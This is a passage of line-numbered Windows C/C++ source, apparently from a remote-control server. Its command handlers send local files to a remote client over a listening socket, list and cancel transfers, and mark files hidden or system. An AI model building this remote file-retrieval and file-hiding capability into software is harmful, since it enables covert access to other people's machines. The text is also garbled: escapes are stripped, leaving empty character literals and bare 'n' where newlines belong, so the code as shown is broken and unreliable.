  711. char svShortNetMod[16],svShortEnc[16],svShortAuth[16];
  712. if(svNetMod[0]=='') {
  713. svNetMod=cas_from->m_pIOH->pQuery();
  714. }
  715. lstrcpyn(svShortNetMod,svNetMod,16);
  716. BreakString(svShortNetMod,":");
  717. if(svEnc[0]=='') {
  718. svEnc=cas_from->m_pEE->pQuery();
  719. }
  720. lstrcpyn(svShortEnc,svEnc,16);
  721. BreakString(svShortEnc,":");
  722. if(svAuth[0]=='') {
  723. svAuth=cas_from->GetAuthHandler()->pQuery();
  724. }
  725. lstrcpyn(svShortAuth,svAuth,16);
  726. BreakString(svShortAuth,":");
  727. if(svArg3==NULL) {
  728. IssueAuthCommandReply(cas_from,comid,0,"Could not open. Must supply local filename.n");
  729. LeaveCriticalSection(&g_csXfer);
  730. return -1;
  731. }
  732. CAuthSocket *fas=ListenAuthSocket(NULL,cas_from->GetUserID(),NULL,svBindStr,svNetMod,svEnc,svAuth);
  733. if(fas==NULL || fas==(CAuthSocket *)0xFFFFFFFF) {
  734. IssueAuthCommandReply(cas_from,comid,0,"Could not bind socket.n");
  735. LeaveCriticalSection(&g_csXfer);
  736. return -1;
  737. }
  738. HANDLE hFile=CreateFile(svArg3,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  739. if(hFile==INVALID_HANDLE_VALUE) {
  740. IssueAuthCommandReply(cas_from,comid,0,"Could not open local file.n");
  741. fas->Close();
  742. LeaveCriticalSection(&g_csXfer);
  743. return -1;
  744. }
  745. // Create transfer thread
  746. XFERFILEARGS *pArgs=(XFERFILEARGS *)malloc(sizeof(XFERFILEARGS));
  747. pArgs->hFile=hFile;
  748. pArgs->fas=fas;
  749. pArgs->pbActive=&(g_pXferInfo[g_nXfers].bActive);
  750. DWORD tid;
  751. HANDLE htd=CreateThread(NULL,0,EmitFileThread,pArgs,CREATE_SUSPENDED,&tid);
  752. if(htd==NULL) {
  753. IssueAuthCommandReply(cas_from,comid,0,"Could not create thread.n");
  754. CloseHandle(hFile);
  755. fas->Close();
  756. LeaveCriticalSection(&g_csXfer);
  757. return -1;
  758. }
  759. // Add transfer to table
  760. fas->GetConnectAddr(g_pXferInfo[g_nXfers].svName,256);
  761. lstrcpyn(g_pXferInfo[g_nXfers].svPath,svArg3,MAX_PATH);
  762. g_pXferInfo[g_nXfers].bActive=TRUE;
  763. g_pXferInfo[g_nXfers].nType=EMIT;
  764. g_pXferInfo[g_nXfers].htd=htd;
  765. g_nXfers++;
  766. LeaveCriticalSection(&g_csXfer);
  767. char svMsg[512];
  768. wsprintf(svMsg, "File emit started from: %.256s,%.16s,%.16s,%.16sn",
  769. g_pXferInfo[g_nXfers-1].svName,
  770. svShortNetMod,
  771. svShortEnc,
  772. svShortAuth);
  773. IssueAuthCommandReply(cas_from,comid,0,svMsg);
  774. ResumeThread(htd);
  775. return 0;
  776. }
  777. int CmdProc_ListTransfers(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  778. {
  779. EnterCriticalSection(&g_csXfer);
  780. IssueAuthCommandReply(cas_from,comid,1,"Active transfers list:n");
  781. int i;
  782. for(i=0;i<g_nXfers;i++) {
  783. char svMsg[1024];
  784. if(g_pXferInfo[i].nType==RECV) {
  785. wsprintf(svMsg,"Recv on %.256s: %.260sn",g_pXferInfo[i].svName,g_pXferInfo[i].svPath);
  786. } else if(g_pXferInfo[i].nType==SEND) {
  787. wsprintf(svMsg,"Send to %.256s: %.260sn",g_pXferInfo[i].svName,g_pXferInfo[i].svPath);
  788. } else if(g_pXferInfo[i].nType==EMIT) {
  789. wsprintf(svMsg,"Emit from %.256s: %.260sn",g_pXferInfo[i].svName,g_pXferInfo[i].svPath);
  790. }
  791. IssueAuthCommandReply(cas_from,comid,1,svMsg);
  792. }
  793. IssueAuthCommandReply(cas_from,comid,1,"End of list.n");
  794. LeaveCriticalSection(&g_csXfer);
  795. return 0;
  796. }
  797. int CmdProc_CancelTransfer(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  798. {
  799. EnterCriticalSection(&g_csXfer);
  800. // Find transfer entry from pathname
  801. int i;
  802. for(i=0;i<g_nXfers;i++) {
  803. if(lstrcmp(g_pXferInfo[i].svPath,svArg3)==0) {
  804. break;
  805. }
  806. }
  807. if(i==g_nXfers) {
  808. IssueAuthCommandReply(cas_from,comid,0,"No such transfer.n");
  809. LeaveCriticalSection(&g_csXfer);
  810. return -1;
  811. }
  812. // Try to cancel transfer
  813. HANDLE htd=g_pXferInfo[i].htd;
  814. g_pXferInfo[i].bActive=FALSE;
  815. LeaveCriticalSection(&g_csXfer);
  816. if(WaitForSingleObject(htd,5000)!=WAIT_OBJECT_0) {
  817. IssueAuthCommandReply(cas_from,comid,0,"Couldn't cancel in 5 sec.n");
  818. return -1;
  819. }
  820. IssueAuthCommandReply(cas_from,comid,0,"Transfer operation canceled.n");
  821. return 0;
  822. }
  823. int CmdProc_SetFileAttr(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  824. {
  825. DWORD dwAttr;
  826. int i,count;
  827. if(svArg3==NULL || svArg2==NULL) {
  828. IssueAuthCommandReply(cas_from,comid,0,"Could not change attributes. Invalid parameters.n");
  829. return -1;
  830. }
  831. dwAttr=0;
  832. count=lstrlen(svArg3);
  833. for(i=0;i<count;i++) {
  834. if(svArg3[i]=='A' || svArg3[i]=='a') dwAttr|=FILE_ATTRIBUTE_ARCHIVE;
  835. if(svArg3[i]=='H' || svArg3[i]=='h') dwAttr|=FILE_ATTRIBUTE_HIDDEN;
  836. if(svArg3[i]=='S' || svArg3[i]=='s') dwAttr|=FILE_ATTRIBUTE_SYSTEM;
  837. if(svArg3[i]=='R' || svArg3[i]=='r') dwAttr|=FILE_ATTRIBUTE_READONLY;
  838. if(svArg3[i]=='T' || svArg3[i]=='t') dwAttr|=FILE_ATTRIBUTE_TEMPORARY;
  839. }
  840. if(SetFileAttributes(svArg2,dwAttr)==0) {
  841. IssueAuthCommandReply(cas_from,comid,0,"Could not change attributes.n");
  842. return -1;
  843. }
  844. IssueAuthCommandReply(cas_from,comid,0,"Attributes changed.n");
  845. return 0;
  846. }